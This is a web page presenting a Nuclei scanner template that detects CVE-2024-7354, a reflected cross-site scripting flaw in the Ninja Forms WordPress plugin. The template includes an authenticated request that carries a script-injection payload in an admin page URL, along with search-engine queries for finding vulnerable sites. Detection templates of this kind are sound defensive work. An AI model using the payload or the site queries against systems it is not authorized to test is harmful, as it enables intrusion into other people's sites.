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Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting

ID: CVE-2024-7354

Severity: medium

Author: ritikchaddha

Tags: cve,cve2024,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated

Description

Section titled “Description”

The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

YAML Source

Section titled “YAML Source”
id: CVE-2024-7354


info:
  name: Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 3.8.11.
  reference:
    - https://wpscan.com/vulnerability/3c871dcd-51d7-4d3b-b036-efa9e066ff41/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7354
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-7354
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.09629
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ninja-forms"
    publicwww-query: /wp-content/plugins/ninja-forms/
    shodan-query: http.html:"/wp-content/plugins/ninja-forms/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/ninja-forms"
        internal: true


  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In


      - |
        GET /wp-admin/admin.php?page=nf-submissions&"><script>alert(document.domain)</script>=2 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'


      - type: word
        part: content_type_2
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db2c1f30126d4320b882fc24c61039ef292c7a22c4298425772871bbf526217402202b10fdaf4bd13bf46450d8f972817ab391f8cc3f7188485ff9399fb1438ac954:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7354.yaml"

View on Github